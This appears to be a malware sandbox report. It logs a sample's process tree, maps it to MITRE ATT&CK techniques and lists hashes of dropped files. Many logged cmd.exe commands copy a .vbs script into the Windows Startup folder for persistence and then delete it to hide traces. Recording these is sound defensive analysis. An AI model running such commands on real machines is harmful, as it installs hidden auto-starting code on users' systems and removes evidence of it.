    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:1816
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4076
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5664
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:3356
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:5380
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:5308
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1076
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2572
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:2248
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:5264
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:1880
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:1144
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:4000
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:5936
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4632
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:4908
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:5232
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:1376
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:3512
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4080
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:6064
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:5384
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1260
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:1104
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4848
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5612
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5916
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4068
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:3668
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5696
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5008
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:3352
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4400
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:3008
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4180
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:4064
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:3012
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3404
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:4040
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4464
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:4324
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4432
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:1408
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:5320
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:5268
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2204
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:6044
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1356
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:5256
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4692
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2188
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4572
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:5540
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:2412
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5444
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3624
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:1460
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4352
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:4016
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:5772
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:2044
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:4616
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4300
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:2500
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4668
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:1588
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:336
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:1488
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:1652
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:3308
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2708
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4248
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:2780
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:3748
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:3940
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:3000
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:1704
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:2496
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:2760
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5708
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2364
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:896
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:884
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:1552
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4140
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3392
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1908
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:996
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:632
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:1560
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5188
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:3620
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3984
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:1196
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1184
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3884
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5280
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:472

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

server.txt

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\server.txt
Size 463B
SHA256 195a932730368ed1468830ccd7f76d5b121dcc622c10b4d6a53e8f247bd1b2c3
MD5 4863e5989a2111d76f5b7a5091c95cf0
SHA1 11f45cbd085eba03cfc51de880ca99fef4b2c377
SHA512 98576f532682233ad5a80f6924280ca733277a85f50df03111e5c20da0da8408de3f0e089b497b7c6292024abe3bf8277512140babab203b816b2a2749aac98d
TLSH
T1C5F05C7A700B9A4F042604E1515BCD48D2A4C65073BA7CF2A0EACE05F763044DAF0751
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_tzsrexdg.akh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tzsrexdg.akh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

mbddh.txt

